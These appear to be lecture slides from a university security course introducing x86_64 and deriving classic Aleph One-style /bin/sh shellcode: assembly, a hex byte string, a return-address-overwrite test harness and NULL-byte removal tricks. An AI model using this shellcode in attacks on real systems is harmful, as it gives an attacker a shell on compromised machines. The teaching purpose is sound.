Lec02: x86_64 / Shellcode

Chengyu Song

Slides based on CS6265 taught by Prof. Taesoo Kim
Scoreboard
Administrative

- Survey: how many hours did you spend? (<3h, 6h, 10h, >20h)
- Alternative deadline?
- Lab02 is out!
- **Due**: Jan 26 at midnight
Course Grading (No Grouping!)

- No midterm and final exams
- Final points = problem points * write-up points
- One week grace period, 50% points
- See Game Rules
Write-ups for Lab01

- You all did a good job!
- One of the best: Jinghan Wang jwang131@ucr.edu
- Common misunderstandings
- Recommends: single file, plain text
Bomb Stats

- Bombs exploded ?? times in total?
- in ?? phases?
- ?? people exploded at least once?
Discussion 0

1. How was your experience on handling bomb?
Discussion 1

1. How did you prevent bombs from explosion?
Discussion 2

1. What was the most difficult/annoying phase?
Discussion 3

1. How did you find 'secret_phrase'?
Discussion 4

1. Any tricky assembly?
Discussion 5

1. Any useful trick to share with other students?
Jcc the ugly

- (R/E)FLAGS: CF, PF, AF, ZF, SF, OF
- Updated according to operation result (specific to each instruction)
- Reference http://unixwiz.net/techtips/x86-jumps.html
Today's Topics

• Quick introduction to x86_64 (x64)
• Shellcode
x86_64 History

- Motivation: bringing x86 to 64-bit world
- The winner against IA64
  - Backward compatible with x86
x86_64 Features

- 64-bit integer arithmetics
- Extended registers (RAX, RBX, RCX, RDX, RBP, RSP, RSI, RDI)
- New registers (R8, R9, R10, R11, R12, R13, R14, R15)
- Larger virtual address space (48-bit)
- Larger physical address space (now 52-bit)
- New security features (e.g., NX)
- Removed features (e.g., segment)
x86_64 Programming

- Data types: BYTE, WORD, DWORD, QWORD
- New gas suffix: q
- New calling convention (System V AMD64 ABI):
  - Argument passing: RDI, RSI, RDX, RCX, R8, R9
  - Return value: RAX, RDX
  - Callee saved: RBP, RBX, and R12–R15
Shellcode 1

In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. -- Wikipedia
Shellcode 2

/* shellcode.c */
#include <stdio.h>

void main() {
    char *name[2];

    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

Shellcode 3

$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
(gdb) disassemble main
...
0x8000136 <main+6>:  movl $0x80027b8,0xffffffff8(%ebp)
  # name[0] = "/bin/sh";
0x800013d <main+13>:  movl $0x0,0xffffffffc(%ebp)
  # name[1] = NULL;
0x8000144 <main+20>:  pushl $0x0
0x8000146 <main+22>:  leal 0xffffffff8(%ebp),%eax
0x8000149 <main+25>:  pushl %eax
0x800014a <main+26>:  movl 0xffffffff8(%ebp),%eax
0x800014d <main+29>:  pushl %eax
0x800014e <main+30>:  call 0x80002bc __execve>
...
Shellcode 4

(gdb) disassemble __execve
...
0x80002c0 <__execve+4>:  movl $0xb,%eax
# load syscall number
0x80002c5 <__execve+9>:  movl 0x8(%ebp),%ebx
# load name[0]
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
# load name
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
# NULL
0x80002ce <__execve+18>: int $0x80
...
Shellcode 5

1. Have the null terminated string "/bin/sh" somewhere in memory.
2. Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.
3. Copy 0xb into the EAX register.
4. Copy the address of the address of the string "/bin/sh" into the EBX register.
5. Copy the address of the string "/bin/sh" into the ECX register.
6. Copy the address of the null long word into the EDX register.
7. Execute the int $0x80 instruction.
Shellcode 6

• What if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data.

• Let's add exit() in case execve() fails

(gdb) disassemble _exit
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
Shellcode 7

- **Challenge**: we do not know the exact address
- **Position Independent Code (PIE)**
  - `jmp` and `call` can use relative address
  - What about the address of "/bin/sh"?
  - Use a `call target = push pc+4; jmp target`
Shellcode 8

bottom of memory

buffer  sfp  ret  a  b  c
<------- [JJSSSSSSSSSSSSSSSSSss][ssss][0xD8][0x01][0x02][0x03]
             |          |
             ||__________||__________| (1)
(2)       ||__________|
             |___________| (3)

top of stack

top of memory

top of stack
Shellcode 9

```
jmp    0x2a
popl   %esi
movl   %esi,0x8(%esi)
movb   $0x0,0x7(%esi)
movl   $0x0,0xc(%esi)
movl   $0xb,%eax
movl   %esi,%ebx
leal   0x8(%esi),%ecx
leal   0xc(%esi),%edx
int    $0x80
movl   $0x1, %eax
movl   $0x0, %ebx
int    $0x80
call   -0x2f
.string "/bin/sh"
```

# 3 bytes
# 1 byte
# 3 bytes
# 4 bytes
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes
# 5 bytes
# 2 bytes
# 5 bytes
# 8 bytes
Shellcode 10

```c
char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\xb8\x0b\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x89\xb9\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}
```

[aleph1]$ ./testsc
$ exit
[aleph1]$
Shellcode 11

- **Problem**: NULL bytes in the shellcode will cause `strcpy()` to terminate prematurely

```assembly
movb $0x0,0x7(%esi) -> xorl %eax,%eax
movl $0x0,0xc(%esi) -> movb %eax,0x7(%esi)
  movl %eax,0xc(%esi)

movl $0xb,%eax -> movb $0xb,%al

movl $0x1, %eax -> xorl %ebx,%ebx
movl $0x0, %ebx -> movl %ebx,%eax
  inc %eax
```